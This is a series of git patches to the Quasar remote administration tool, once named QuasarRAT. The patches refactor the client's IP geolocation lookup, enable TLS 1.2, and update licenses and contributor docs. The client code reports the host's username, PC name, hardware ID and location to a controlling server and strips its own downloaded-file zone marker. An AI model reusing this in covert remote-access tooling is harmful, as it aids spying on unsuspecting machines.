"pl", - "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", - "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh", - "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy", - "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", - "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy", - "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf", - "ws", "ye", "yt", "za", "zm", "zw" - }; - - public static int ImageIndex { get; set; } - public static GeoInformation GeoInfo { get; private set; } - public static DateTime LastLocated { get; private set; } - public static bool LocationCompleted { get; private set; } - - static GeoLocationHelper() - { - LastLocated = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc); - } - - public static void Initialize() - { - TimeSpan lastLocateTry = new TimeSpan(DateTime.UtcNow.Ticks - LastLocated.Ticks); - - // last location was 60 minutes ago or last location has not completed - if (lastLocateTry.TotalMinutes > 60 || !LocationCompleted) - { - TryLocate(); - - GeoInfo.Ip = (string.IsNullOrEmpty(GeoInfo.Ip)) ? "Unknown" : GeoInfo.Ip; - GeoInfo.Country = (string.IsNullOrEmpty(GeoInfo.Country)) ? "Unknown" : GeoInfo.Country; - GeoInfo.CountryCode = (string.IsNullOrEmpty(GeoInfo.CountryCode)) ? "-" : GeoInfo.CountryCode; - GeoInfo.Region = (string.IsNullOrEmpty(GeoInfo.Region)) ? "Unknown" : GeoInfo.Region; - GeoInfo.City = (string.IsNullOrEmpty(GeoInfo.City)) ? "Unknown" : GeoInfo.City; - GeoInfo.Timezone = (string.IsNullOrEmpty(GeoInfo.Timezone)) ? "Unknown" : GeoInfo.Timezone; - GeoInfo.Isp = (string.IsNullOrEmpty(GeoInfo.Isp)) ? "Unknown" : GeoInfo.Isp; - - ImageIndex = 0; - for (int i = 0; i < ImageList.Length; i++) - { - if (ImageList[i] == GeoInfo.CountryCode.ToLower()) - { - ImageIndex = i; - break; - } - } - if (ImageIndex == 0) ImageIndex = 247; // question icon - } - } - - private static void TryLocate() - { - LocationCompleted = false; - - try - { - DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoInformation)); - - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://ip-api.com/json/"); - request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0"; - request.Proxy = null; - request.Timeout = 10000; - - using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - using (Stream dataStream = response.GetResponseStream()) - { - using (StreamReader reader = new StreamReader(dataStream)) - { - string responseString = reader.ReadToEnd(); - - using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(responseString))) - { - GeoInfo = (GeoInformation)jsonSerializer.ReadObject(ms); - } - } - } - } - - LastLocated = DateTime.UtcNow; - LocationCompleted = true; - } - catch - { - TryLocateFallback(); - } - } - - private static void TryLocateFallback() - { - GeoInfo = new GeoInformation(); - - try - { - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://freegeoip.net/xml/"); - request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0"; - request.Proxy = null; - request.Timeout = 10000; - - using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - using (Stream dataStream = response.GetResponseStream()) - { - using (StreamReader reader = new StreamReader(dataStream)) - { - string responseString = reader.ReadToEnd(); - - XmlDocument doc = new XmlDocument(); - doc.LoadXml(responseString); - - GeoInfo.Ip = doc.SelectSingleNode("Response//IP").InnerXml; - GeoInfo.Country = doc.SelectSingleNode("Response//CountryName").InnerXml; - GeoInfo.CountryCode = doc.SelectSingleNode("Response//CountryCode").InnerXml; - GeoInfo.Region = doc.SelectSingleNode("Response//RegionName").InnerXml; - GeoInfo.City = doc.SelectSingleNode("Response//City").InnerXml; - GeoInfo.Timezone = doc.SelectSingleNode("Response//TimeZone").InnerXml; - } - } - } - - LastLocated = DateTime.UtcNow; - LocationCompleted = true; - } - catch - { - LocationCompleted = false; - } - - if (string.IsNullOrEmpty(GeoInfo.Ip)) - TryGetWanIp(); - } - - private static void TryGetWanIp() - { - string wanIp = "-"; - - try - { - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://api.ipify.org/"); - request.UserAgent = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0"; - request.Proxy = null; - request.Timeout = 5000; - - using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) - { - using (Stream dataStream = response.GetResponseStream()) - { - using (StreamReader reader = new StreamReader(dataStream)) - { - wanIp = reader.ReadToEnd(); - } - } - } - } - catch (Exception) - { - } - - GeoInfo.Ip = wanIp; - } - } -} \ No newline at end of file diff --git a/Quasar.Client/ILRepack.targets b/Quasar.Client/ILRepack.targets index 607bafa93..7904ea001 100644 --- a/Quasar.Client/ILRepack.targets +++ b/Quasar.Client/ILRepack.targets @@ -1,6 +1,6 @@  - + diff --git a/Quasar.Client/IpGeoLocation/GeoInformation.cs b/Quasar.Client/IpGeoLocation/GeoInformation.cs new file mode 100644 index 000000000..f2f40a869 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoInformation.cs @@ -0,0 +1,16 @@ +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Stores the IP geolocation information. + /// + public class GeoInformation + { + public string IpAddress { get; set; } + public string Country { get; set; } + public string CountryCode { get; set; } + public string Timezone { get; set; } + public string Asn { get; set; } + public string Isp { get; set; } + public int ImageIndex { get; set; } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs b/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs new file mode 100644 index 000000000..3af63cef5 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs @@ -0,0 +1,47 @@ +using System; + +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Factory to retrieve and cache the last IP geolocation information for minutes. + /// + public static class GeoInformationFactory + { + /// + /// Retriever used to get geolocation information about the WAN IP address. + /// + private static readonly GeoInformationRetriever Retriever = new GeoInformationRetriever(); + + /// + /// Used to cache the latest IP geolocation information. + /// + private static GeoInformation _geoInformation; + + /// + /// Time of the last successful location retrieval. + /// + private static DateTime _lastSuccessfulLocation = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc); + + /// + /// The minimum amount of minutes a successful IP geolocation retrieval is valid. + /// + private const int MINIMUM_VALID_TIME = 60 * 12; + + /// + /// Gets the IP geolocation information, either cached or freshly retrieved if more than minutes have passed. + /// + /// The latest IP geolocation information. + public static GeoInformation GetGeoInformation() + { + var passedTime = new TimeSpan(DateTime.UtcNow.Ticks - _lastSuccessfulLocation.Ticks); + + if (_geoInformation == null || passedTime.TotalMinutes > MINIMUM_VALID_TIME) + { + _geoInformation = Retriever.Retrieve(); + _lastSuccessfulLocation = DateTime.UtcNow; + } + + return _geoInformation; + } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs new file mode 100644 index 000000000..00867b939 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs @@ -0,0 +1,186 @@ +using Quasar.Client.Helper; +using System.Globalization; +using System.IO; +using System.Net; +using System.Runtime.Serialization.Json; +using System.Text; + +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Class to retrieve the IP geolocation information. + /// + public class GeoInformationRetriever + { + /// + /// List of all available flag images on the server side. + /// + private readonly string[] _imageList = + { + "ad", "ae", "af", "ag", "ai", "al", + "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba", + "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", + "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc", + "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", + "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", + "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et", + "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga", + "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq", + "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht", + "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm", + "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", + "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu", + "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm", + "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", + "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np", + "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl", + "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", + "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh", + "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy", + "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", + "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy", + "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf", + "ws", "ye", "yt", "za", "zm", "zw" + }; + + /// + /// Retrieves the IP geolocation information. + /// + /// The retrieved IP geolocation information. + public GeoInformation Retrieve() + { + var geo = TryRetrieveOnline() ?? TryRetrieveLocally(); + + if (string.IsNullOrEmpty(geo.IpAddress)) + geo.IpAddress = TryGetWanIp(); + + geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress; + geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country; + geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode; + geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone; + geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn; + geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp; + + geo.ImageIndex = 0; + for (int i = 0; i < _imageList.Length; i++) + { + if (_imageList[i] == geo.CountryCode.ToLower()) + { + geo.ImageIndex = i; + break; + } + } + if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon + + return geo; + } + + /// + /// Tries to retrieve the geolocation information online. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveOnline() + { + try + { + DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoResponse)); + + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://tools.keycdn.com/geo.json"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 10000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + using (StreamReader reader = new StreamReader(dataStream)) + { + string responseString = reader.ReadToEnd(); + + using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(responseString))) + { + var geoInfo = (GeoResponse)jsonSerializer.ReadObject(ms); + + GeoInformation g = new GeoInformation + { + IpAddress = geoInfo.Data.Geo.Ip, + Country = geoInfo.Data.Geo.CountryName, + CountryCode = geoInfo.Data.Geo.CountryCode, + Timezone = geoInfo.Data.Geo.Timezone, + Asn = geoInfo.Data.Geo.Asn.ToString(), + Isp = geoInfo.Data.Geo.Isp + }; + + return g; + } + } + } + } + } + catch + { + return null; + } + } + + /// + /// Tries to retrieve the geolocation information locally. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveLocally() + { + try + { + GeoInformation g = new GeoInformation(); + + // use local information + var cultureInfo = CultureInfo.CurrentUICulture; + var region = new RegionInfo(cultureInfo.LCID); + + g.Country = region.DisplayName; + g.CountryCode = region.TwoLetterISORegionName; + g.Timezone = DateTimeHelper.GetLocalTimeZone(); + + return g; + } + catch + { + return null; + } + } + + /// + /// Tries to retrieves the WAN IP. + /// + /// The WAN IP as string if successful, otherwise null. + private string TryGetWanIp() + { + string wanIp = ""; + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 5000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + using (StreamReader reader = new StreamReader(dataStream)) + { + wanIp = reader.ReadToEnd(); + } + } + } + } + catch + { + } + + return wanIp; + } + } +} diff --git a/Quasar.Client/IpGeoLocation/GeoResponse.cs b/Quasar.Client/IpGeoLocation/GeoResponse.cs new file mode 100644 index 000000000..0475e4215 --- /dev/null +++ b/Quasar.Client/IpGeoLocation/GeoResponse.cs @@ -0,0 +1,82 @@ +using System.Runtime.Serialization; + +namespace Quasar.Client.IpGeoLocation +{ + [DataContract] + public class GeoResponse + { + [DataMember(Name ="status")] + public string Status { get; set; } + + [DataMember(Name = "description")] + public string Description { get; set; } + + [DataMember(Name = "data")] + public DataObject Data { get; set; } + } + + [DataContract()] + public class DataObject + { + [DataMember(Name = "geo")] + public LocationData Geo { get; set; } + } + + [DataContract()] + public class LocationData + { + [DataMember(Name = "host")] + public string Host; + + [DataMember(Name = "ip")] + public string Ip; + + [DataMember(Name = "rdns")] + public string Rdns; + + [DataMember(Name = "asn")] + public int Asn; + + [DataMember(Name = "isp")] + public string Isp; + + [DataMember(Name = "country_name")] + public string CountryName; + + [DataMember(Name = "country_code")] + public string CountryCode; + + [DataMember(Name = "region_name")] + public string RegionName; + + [DataMember(Name = "region_code")] + public string RegionCode; + + [DataMember(Name = "city")] + public string City; + + [DataMember(Name = "postal_code")] + public string PostalCode; + + [DataMember(Name = "continent_name")] + public string ContinentName; + + [DataMember(Name = "continent_code")] + public string ContinentCode; + + [DataMember(Name = "latitude")] + public double Latitude; + + [DataMember(Name = "longitude")] + public double Longitude; + + [DataMember(Name = "metro_code")] + public object MetroCode; + + [DataMember(Name = "timezone")] + public string Timezone; + + [DataMember(Name = "datetime")] + public string Datetime; + } +} diff --git a/Quasar.Client/Networking/Client.cs b/Quasar.Client/Networking/Client.cs index a4091b22b..3e6cafcc7 100644 --- a/Quasar.Client/Networking/Client.cs +++ b/Quasar.Client/Networking/Client.cs @@ -273,7 +273,7 @@ protected void Connect(IPAddress ip, ushort port) if (handle.Connected) { _stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate); - _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls, false); + _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls12, false); _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); OnClientState(true); } diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index 77c3fb703..77492b965 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -1,6 +1,7 @@ using Quasar.Client.Commands; using Quasar.Client.Config; using Quasar.Client.Data; +using Quasar.Client.IpGeoLocation; using Quasar.Client.Helper; using Quasar.Client.Utilities; using Quasar.Common.Helpers; @@ -96,18 +97,16 @@ private void OnClientState(Client client, bool connected) { // send client identification once connected - GeoLocationHelper.Initialize(); + var geoInfo = GeoInformationFactory.GetGeoInformation(); client.Send(new ClientIdentification { Version = Settings.VERSION, OperatingSystem = PlatformHelper.FullName, AccountType = WindowsAccountHelper.GetAccountType(), - Country = GeoLocationHelper.GeoInfo.Country, - CountryCode = GeoLocationHelper.GeoInfo.CountryCode, - Region = GeoLocationHelper.GeoInfo.Region, - City = GeoLocationHelper.GeoInfo.City, - ImageIndex = GeoLocationHelper.ImageIndex, + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + ImageIndex = geoInfo.ImageIndex, Id = DevicesHelper.HardwareId, Username = WindowsAccountHelper.GetName(), PcName = SystemHelper.GetPcName(), diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index 9da5a5301..6e456451a 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -10,6 +10,7 @@ using System; using System.Diagnostics; using System.IO; +using System.Net; using System.Threading; using System.Windows.Forms; @@ -23,6 +24,9 @@ internal static class Program [STAThread] private static void Main(string[] args) { + // enable TLS 1.2 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; @@ -92,7 +96,6 @@ private static bool Initialize() return false; ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME); - GeoLocationHelper.Initialize(); FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath); diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj index d26498dfc..c669137ed 100644 --- a/Quasar.Client/Quasar.Client.csproj +++ b/Quasar.Client/Quasar.Client.csproj @@ -10,6 +10,8 @@ ..\bin\Debug\ true + portable + true none diff --git a/Quasar.Client/images/information.png b/Quasar.Client/images/information.png deleted file mode 100644 index 6205729f783f6a3e9c36273c7c57571c6daaec30..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 898 zcmV-|1AY97P)^R2Oei931K=X8$J$5|=5x8+ zIAMVRUDv^80sn@XP+MMJzOSvVt)rr%Vuz+_hCvVngu~%4{r&xYkx1k%Z4DDtX5*`> zs@SQFe59$VsnhTGUmBf+EBGRTdykTM^hQP~l7^5cxjIhNAEHS4si`SOju5iE$Kzq4 z>~C&v?)3S5r@HUVV`4TRmUWv@Tfyhb7mOoYp3vo5#W zU3c){0sqz8^WgJcu-omJp8km&=Oo-bFCh|{Gxl`RfopeTsIRa0mzI{+F)kDEwzeK` zfBZTMCAW@>1I*3EpeV}U;;?lzx@g#vsujP(vu+fT{j*V0;>4#=7JH6v@-i+Hu%}Wo#-=rFuF#>XD@ZKKNH3=mxb8Mud-CcJ znD{(HKu)iaZw{G^!bI%?wTh(yP0J!FQ>cr}phIEe%m&$NwSwa0m1d-p30S29 z@OeZM*2t118Edx3kX_BdyCsjh^nHSHnZV~jAP_vf+kuT%8Je;L(M-;w#UQgZ*qRrK ztfo+E&%jr+0S_MrgN(~NolZF(Ulb{8>&3Ia>Su4JFc(cwCWW~FLO}0RjY3^PG8#g$ z6vM5{UJMQnJQx~!7o-dLk^l2BX2!?Aa@1$8`$BV7fkj0+HjOVIN3b+Mfn9C|t-c~$ zK2wcApm%U!pf8xoWS+$1am{2@1F)FQ=0eKZ=kZk6c6D88sHxdo`QJms=;-@!PtT1f zlaph^vMj$;Rh3;Bg$b~t+X)*9Hc=Gqba5)_(G>mvoGHo$s(N^Jbu~f%X~Hi;; Date: Fri, 22 May 2020 10:05:11 +0200 Subject: [PATCH 173/229] Add Open.Nat license --- Licenses/{Mono.Nat_license..txt => Open.Nat_license.txt} | 3 +++ 1 file changed, 3 insertions(+) rename Licenses/{Mono.Nat_license..txt => Open.Nat_license.txt} (96%) diff --git a/Licenses/Mono.Nat_license..txt b/Licenses/Open.Nat_license.txt similarity index 96% rename from Licenses/Mono.Nat_license..txt rename to Licenses/Open.Nat_license.txt index 4f410a395..1287e04ca 100644 --- a/Licenses/Mono.Nat_license..txt +++ b/Licenses/Open.Nat_license.txt @@ -1,7 +1,9 @@ + The MIT License Copyright (C) 2006 Alan McGovern Copyright (C) 2007 Ben Motmans +Copyright (C) 2014 Lucas Ontivero Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal @@ -20,3 +22,4 @@ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + From fd9a3f0c0a6fad05fbe576fa2af1d5a87a80a0fd Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 23 May 2020 21:48:40 +0200 Subject: [PATCH 174/229] Update documentation --- .github/ISSUE_TEMPLATE/bug_report.md | 5 +++- CHANGELOG.md | 2 +- CONTRIBUTING.md | 13 +++++++---- Images/remote-desktop.png | Bin 0 -> 393429 bytes Images/remote-files.png | Bin 0 -> 39074 bytes Images/remote-shell.png | Bin 0 -> 38652 bytes README.md | 19 +++++++++++++-- ROADMAP.md | 33 ++++++++------------------- 8 files changed, 39 insertions(+), 33 deletions(-) create mode 100644 Images/remote-desktop.png create mode 100644 Images/remote-files.png create mode 100644 Images/remote-shell.png diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index e47ec04de..6049c0fa8 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -23,7 +23,10 @@ If applicable, add screenshots to help explain your problem. **System** - Server OS: [e.g. Windows 10] - Client OS: [e.g. Windows 7] - - Quasar Version: [e.g. 1.3.0, commit-id] + - Server installed .NET Framework version: [e.g. v4.8] + - Client installed .NET Framework version: [e.g. v4.8] + - Quasar Version: [e.g. 1.3.0 or commit-id] + - Build configuration: [e.g. Debug/Release] **Additional context** Add any other context about the problem here. diff --git a/CHANGELOG.md b/CHANGELOG.md index 8d40fabd0..3901b43a4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,4 @@ -# QuasarRAT Changelog +# Quasar Changelog ## Quasar v1.3.0.0 [28.09.2016] * Added Registry Editor diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 7427745f9..5ccd2866c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -4,13 +4,16 @@ 2. Create your feature branch (`git checkout -b my-new-feature`) 3. Commit your changes (`git commit -am 'Add some feature'`) 4. Push to the branch (`git push origin my-new-feature`) -5. Create new Pull Request +5. Create new pull request (PR) -## Guidelines for Pull Requests: +## Guidelines for pull requests: 1. Respect the coding style of Quasar. -2. Make a single change per commit. -3. Make your modification compact - don't reformat source code in your request. It makes code review more difficult. -4. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. +2. Create a new branch for each PR. +3. Single feature or bug-fix per PR. +4. Make single commit per PR. +5. Make your modification compact - don't reformat source code in your request. It makes code review more difficult. +6. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. Use the issue tracker for your request instead. +7. Typo fixing and code refactoring won't be accepted - please create issues with title started with TYPO to request the changing. In short: The easier the code review is, the better the chance your pull request will get accepted. diff --git a/Images/remote-desktop.png b/Images/remote-desktop.png new file mode 100644 index 0000000000000000000000000000000000000000..e8bb4dc1ed1a2ee5f7b71847c1fd5ac882e4404c GIT binary patch literal 393429 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 